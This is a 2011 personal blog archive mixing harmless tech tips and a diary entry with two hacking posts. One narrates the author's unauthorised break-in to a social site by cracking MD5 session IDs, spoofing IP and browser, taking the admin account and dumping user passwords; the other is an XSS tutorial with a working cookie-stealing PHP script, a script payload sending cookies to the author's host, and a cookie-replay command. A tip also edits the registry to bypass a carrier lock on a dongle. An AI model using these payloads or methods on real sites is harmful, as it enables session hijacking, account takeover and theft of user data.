How to Boot Norton Ghost from a Pen Drive

November 6th, 2011 2 comments

There might be time when you experiment with your computer and you want to boot something from a pen drive instead of a cd rom. Call it norton ghost for backup installation or any other application.
Follow the simple steps below in order to achieve this.

1> INSTALL any VIRTUAL FLOPPY DISK Application(VFD)
2> FORMAT and CREATE DOS BOOTABLE DISK.
3> HP USB DISK(CREATE DOS START UP DISK N LOCATE THE FILES IN FLOPPY). Use HP FORMAT TOOL.exe. Google to get it.
4> Copy the GHOST.EXE
5> Restart your computer and choose pen drive from the boot selection menu.

Categories: General Tags:

Backup Contacts in Windows Mobile 6

November 6th, 2011 2 comments

Searching for backup softwares for contacts for you Windows Mobile 6 ? Do you know pim.vol file placed at the root of the file explorer in windows mobile is the actual file in which your whole contacts are stored.
Just backup this file and you will not need any other file backup tool to carry :)

1> Copy pim.vol and store at a safe location.
2> At the time of restore open file explorer , navigate to root directory and rename pim.vol to pim_back.vol.
3> Place the old backed up pim.vol file.
4> Restart your device and delete pim_back.vol.
5> Go to contacts and see if everything is back :)

Categories: General Tags:

Use any 3G simcard in BSNL 3G Dongle

November 6th, 2011 2 comments

Follow the below steps to use any 3g enabled sim card in bsnl 3g dongle.

1> Open registry, Start > Run > type “regedit” , Hit enter.

2> Navigate to HKEY_LOCAL_MACHINE> SOFTWARE> LinkTop3G .

3> Double click Engineer,Set value data as 0 instead of 1.

4> Come out and try to connect again after doing access point settings in dongle.

Categories: General Tags:

How to Import mysql database dump via php script

November 6th, 2011 3 comments

Tired of Importing your .sql exported script from phpmyadmin? . Everytime you try to import the connection breaks or something goes wrong?. Well there is a small php script that can make your job easy :) .

I usually use this and its works like charm.

 

<?php

// Name of the file
$filename = ‘your_exported_dumpfile.sql’;
// MySQL host
$mysql_host = ‘localhost’;
// MySQL username
$mysql_username = ‘db_username’;
// MySQL password
$mysql_password = ‘db_password’;
// Database name
$mysql_database = ‘database_name’;

//////////////////////////////////////////////////////////////////////////////////////////////

// Connect to MySQL server
mysql_connect($mysql_host, $mysql_username, $mysql_password) or die(‘Error connecting to MySQL server: ‘ . mysql_error());
// Select database
mysql_select_db($mysql_database) or die(‘Error selecting MySQL database: ‘ . mysql_error());

// Temporary variable, used to store current query
$templine = ”;
// Read in entire file
$lines = file($filename);
// Loop through each line
foreach ($lines as $line)
{
// Skip it if it’s a comment
if (substr($line, 0, 2) == ‘–’ || $line == ”)
continue;

// Add this line to the current segment
$templine .= $line;
// If it has a semicolon at the end, it’s the end of the query
if (substr(trim($line), -1, 1) == ‘;’)
{
// Perform the query
mysql_query($templine) or print(‘Error performing query \’<strong>’ . $templine . ‘\’: ‘ . mysql_error() . ‘<br /><br />’);
// Reset temp variable to empty
$templine = ”;
}
}

?>

Categories: General Tags:

Hacking a website via Session Cracking

April 17th, 2011 10 comments

Disclaimer: The whole purpose of the below article is to aware how a weak session can result into a big hack. I never hacked for destruction and don’t encourage it either.

My First Website Hack with Session Cracking Technique .

Hacking is nothing but finding vulnerabilities and then gaining access using those vulnerabilities.

I would like to share how i hacked my first site with session cracking. I hacked my first full fledge website a long way back when i was in 1st year in college. That night i was surfing web when i came across a social networking site which i wanted to try hack. The site is not very popular but of ok type, i wont write the site name to keep the privacy on.
The target was fixed so i started to find the vulnerabilities. The first step was to collect the information about the website and its behaviour. It was hosted on a U.S server on linux machine. I tracked its location via reverse domain ip.

After closely analysing the site i first thought to try sql injection but that didn’t work. I tried few other methods but those blind attacks failed. Then the display of session in the url clicked me to give a try to session cracking. I registered an id with the smallest length possible. I was able to register username aaa as 3 was the minimum length allowed for a nickname. I knew if i had to try session cracking and if it is having anything to do with the username then i should choose a simple username & the main reason behind choosing aaa is because in brute attack a is the first character to start with so it will save me unwanted iterations if i ever had to go with it.
This was very bad on website’s part generally such small username length should not be allowed but still it was a cherry for me :)
So after login to the website i got something like this in my address bar. http://xyz.com?ses=0cff4539a14b3na27ddqf4bbdf6e320f ses is of 32 character so i assumed its a md5. There was no cookie at all that i checked in my browser by writing javascript:alert(document.cookie); in the address bar.

Example to check cookie (example on google).

Javascript to alert Cookie

Probably because there was no cookie requirement in this site because the session was visibly travelling with the url. So what Next? I needed a md5 cracker & (BarsWf) did the job well, its considered to be the fastest md5 cracker with millions of tries per second on a decent machine.I choosed desktop to do that work which is of higher configuration. It took my machine several hrs to crack this ses to its orignal word. I slept while it was working :D

Screen Shot of BarsWf Program to crack a md5 via custom Brute force attack.

Screen Shot of BarsWf program- MD5 Cracker

The first time i saw the cracked word it was aaa1303038542 … My o my i was so happy to see this & got so excited. Do you know what that means? Look closely the session was generated with username + time() so if i come to know upto second when a user is logged in i can virtually generate their session and can login. so did that mean the website was cracked? Umm No.. This was the starting. So now i needed to find out when a user is logged in and this also correct upto second of the time. I browsed the site little more and saw a link with “Online Users”. Clicked on it and voila!!! along with the usernames the time was written like “Online for 30 minutes 20 seconds”. So that means

The Actual Time when a user logged in = {(Current Time in seconds 1970 format) – (30*60 +20)} .

I wrote a simple php script to do the calculations faster and and let me know the session just with the click of a button.

Php Script fast Md5 generation

output of the md5 script

That time i was pretty sure that i would be able to get authentication of any user who was logged in the site. I thought of targetting those users whose status was idle so that people dont get suspicious that something was going on. But!!! To my surprise i was not able to get the generated session to work.

The very first thing i checked was if i am generating sessions correctly. I didn’t found any mistake in that so what was going wrong? It confused me a bit but then i realised it was not going to be a piece of cake to crack, there might be some more checks implimented in the site. I was not upto leaving when i was so close to hack a website so i decided to investigate a little more. I was thinking what personal information the site was collecting and how that can be used to verify if a user is unique and authentic. The answer was hidden in the error it was throwing me when i tried to get authentication by the generated session. The error was

Session is expired! It can either be due to long duration of inactivity or change of ip address or browser.Please login again to continue.

Hahaha so funny isn’t it ,the site was telling me itself that you have to fake the Ip Address and the Browser Agent to get everything working. I used a plugin for Spoofing Ip (basically a simple http header x-forwarded-for may do the work- but not always, depends upon how ip is intercepted) and Browser Agent. These values were visible in the users profile. Now i had enough information about the user and i had the session.

I installed two plugins in my mozilla browser

1> X-Forwarded-For (For faking ip).

2> User Agent Switcher (For faking Browser Agent name).

Ip & User Agent Spoofing

Though any of the Http request modifiers will do the job.
I duplicated everything and generate a session and again tried to login. Voila :D it worked this time. I was authenticated as another user. I was so happy but what now?

This was not hacking a website. Its more like hacking a user’s session & this was not what i wanted to do.

I then found out who is the admin of the site obviously so that i can generate his session and do lil more stuff than regular users. I saw michael is the username who was admin of that site. I waited for him to go to the idle state :P . Usually he comes and goes without logout :D he never spent more than 5 minutes on his own site. This was a + for me i generated his session and made my id administrator from his account and came out of his account. Now aaa is an administrator on xyz.com website and aaa has alot of accesses. I could literally open the php files and do configuration of the scripts and could even change the code so the first thing was to extract database connection settings. I found in configuration.php the connection string was written i editted it and copied the mysql database username password etc.

I authenticated to his database and ran a quick export database to a zip and downloaded it to my local system :D . One more mistake here, He stored the passwords in raw format along with the md5 of it. Now i had password of about 5,000 users registered on that site.

My hack was complete and i could now login very easily into anyone’s account without doing any duplication of username password or anything. I thought of writing an email to the admin telling him that his site is hacked but i didn’t exloited it and he can correct those mistakes.

I proved him by giving passwords of many users including his own. He thought i hacked it by first cracking his account. He changed his password and told me to hack again. I repeated the procedure and it took me 8 minutes to again gain the whole access of his website. Then i wrote him the detailed procedure to hack and he did thanked me for not exploiting his website and helping him in finding and fixing the holes.

So see how few informations can be so dangerous. Next time you generate a session be very sure not to generate it from weak words. Make it as much random as you could do & never show critical informations to others unless you are sure it won’t harm in anyway :) .

Categories: Web Security Tags:

A good day to remember

April 14th, 2011 1 comment

Had a good day yesterday (13th April 2011). It all started with a great dream :D . I will not mention the dream here,excuse me :D . I woke up at 6am and got ready for the office and on the way to office i met few old friends, we then had a lil chat standing at the roadside remembering our old days and how we used to have fun but as i was getting late for office we swapped our updated contact numbers and decided to leave for the day with a promise that we will take out time and will all meet again.

After reaching office did couple of work as usual not to mention much of it but the real fun started in the evening. We actually decided to have a small get together in the company’s new building which is under construction and do a lil tea party there. So around 4 pm we all left for the IT Park.I was to go on bike but i didn’t knew the exact way to IT park from Mohali so i decided to follow Jaspreet’s Car and follow it till the end. Guess what the freaky devil in jaspreet took me to the wrong way :D and i knew its not the right path but i was following him thinking that he might knew a shortcut :D . He lead me to a dirty dustfull road and then turned around on the same path where we came from. But i didn’t mind as i loved the joke :D & i knew at the first instance that he’s upto some joke when he stick to the strange road but i still followed him :D . Anyway that was fun.

We then reached to IT Park and all got together at the decided place. My o my the last time i seen that building it was a seed and now its growing like a tree. One person ummm i forgot his name probably from the construction team lead us and was telling us about the building. We were cracking jokes while walking.
Anyway we then had tea, smosa’s and little chit chat and then left for the day. Some went back to office and some home.
My day didn’t ended there. I was upto something more so i decided to call a friend to watch a movie or something. We then saw movie “just let it go” in the Central Mall . It was a ok type comedy movie.

Later on i decided to return to home ..it was already around 9:30 pm and my home is around 45 mins from chandigarh. While i was driving back to home, near kharar i saw a car with 4 or 5 guys in it shouting with loud music on. They were coming out of their car windows and were shouting like anything. They looked at me and made rock symbol with hand, I replied them back the same way :D oh then what …. i joined them in shouting and we shouted till i reached ropar :D It was too much fun. Those strangers came upto my home and we did byes and they left.

All together it was a different kind of day so i decided to write about it at this place.

Categories: General Tags:

How to Hack with XSS Attack

April 13th, 2011 11 comments
Disclaimer: The below written article is only written for educational purposes. The whole purpose of this article is to aware people about the security threats & we believe that you agree that the information will not be used for illegal purposes.
==================
Hi guys this article is all about XSS Attack. In the recent studies it has been found that this type of attack is responsible for about 40% of the websites which are hacked(2007-2010).The reason behind this is poor input validations or no validations at all.
A small vulnerability can lead to huge loss & Input from a user must always be processed befor further allowing it to act or store.
XSS Stands for Cross Site Scripting. I know what you are thinking if it is Cross Site Scripting why it is abbreviated as XSS and not CSS !! Well the answer to this obvious question is very simple. CSS is already being used for Cascading Style Sheets and so as to remove the confusion it has been named as XSS.
XSS has many varients. Well as i have analyzed XSS Attacks are done on different sites with different methods but the whole logical funda behind it remains the same.
Attacker hosts supporting scripts on another website. Attacker exploits the Input Validation vulnerability and attacks.
For your surprise and interest let me tell you that Not even Websites like Myspace, Facebook Orkut, Google etc been spared from this attack.
In mid 2009 alot of orkut users complainted that scraps are being written from their account even when they have choosed the Strongest Password they could think of.They claimed that their account is being hacked.
Well they were right upto some extent. Actually it was not account Password which was being hacked, it was the logged in SESSION.
Another Question? How can a session be hacked when it is usually generated from a very strong algorithm or does it mean that some people came to know how to generate sessions based on the usernames.
Scratching your head?????? Stop that habit :) .
Well as our topic is about XSS obviously the answer to this is related to XSS. Its the XSS attack.
Now what this attack is and how hackers were doing it?
Okey now enough questions and theories lets begin with the logic :) .
First of all let me tell you when we login to a website most of the websites store the logged in information in cookies and these cookies are stored into our machine via our browser(asked to do so so that the navigation is controlled via a generated session and user can be identified uniquely ).
To check login to some website and write this script in url javascript:alert(document.cookie); and your cookie related to that site will popup (Your browser should support javascript,well almost all does).
Lets think from an evil mind now. Suppose someone copies your cookies and place it in his machine and refreshes the browser window what will happen!… Yes If that website is XSS Vulnerable you will see that you got the authentication of the account whose cookies you had copied.
Cool isn’t it? But now how to copy a cookie of someone else as we have no access to the hard drive of that user also we don’t see a copy cookie button :D haha .
Here comes the vulnerability part. Some websites were not validating the user input and was directly accomodating the text into the page. In simple words Suppose i write a JavaScript and write in someone’s ScrapBook. When ever the user will open his/her scrapbook that javascript will execute.
Does that scare you? Well to some people it did when they came to know that their session is being hacked.
Stay Calm lets learn more about this … How can a javascript extracts the cookie of a website !! I think i answered this question already,Yeah document.cookie is the answer.
Umm… Okey i know how to popup my cookie but what about others and how the hell i will get others cookie?
Lets create a Cookie Catcher script. Our script will be written in PHP and will be hosted on some other website which allow hosting php scripts.
===========A simple Cookie Catcher Script=============
<?php
$cookie = $_GET['c'];
$ip = getenv (‘REMOTE_ADDR’);
$date=date(“j F, Y, g:i a”);
$referer=getenv (‘HTTP_REFERER’);
$fp = fopen(‘cookies.html’, ‘a’);
fwrite($fp, ‘Cookie: ‘.$cookie.’<br> IP: ‘ .$ip. ‘<br> Date and Time: ‘ .$date. ‘<br> Referer: ‘.$referer.’<br><br><br>’);
fclose($fp);
header (“Location: http://www.google.com”);   //or send back to referer :) to hide this fact
?>
======================end of code===================
suppose the hosted address of this script is http://www.depinderbharti.com/cookie.php
lets write a scrapbook/forums/Injection entry with this code
====================exploitation Code(Cookie Sender)======================
<script>
document.location=”http://www.depinderbharti.com/cookie.php?c=” + document.cookie;
</script>
=================end of code====================================
now who ever will open this page he will be redirected to the cookie catcher script location . later on he will be redirected back to some other page ( based  on what url u write in the script)
Meanwhile the cookies will be copied from his/her system and will reach to the cookie catcher script.
The cookies will then be stored in cookies.html webpage via the cookie catcher script.
Now we have cookies of a user how to merge it into our local system cookies.
copy the cookies and execute the below written code into your webbrowser’s URL box.
======================Merging in local======================
javascript:void(document.cookie=”paste those copied cookies here”) hit enter
==================end of code========================
Now open  that attacked website simply www.blabla.com and you will see that you are logged in.
So next time you browse internet look the webpages and their redirection  properly.

================

 

Categories: Web Security Tags:

So finally i decided to start writing :)

April 12th, 2011 2 comments

Hi Welcome,

From last few months i was planning to write blogs and share a little about myself with the world but everytime plans remained plans.Its because of lack of time i get to indulge into these activities or you may call it lazyness if you want, i won’t mind :) . But at the end what matters is what you have done. So here i go and setup my new site.

Well.. i will use this place to share what i am doing currently and what i am up to and all the things around me.Feel free to express your views and join me.

I am not perfect so kindly ignore if i go wrong somewhere and bring those things to my notice.  :)

Categories: General Tags: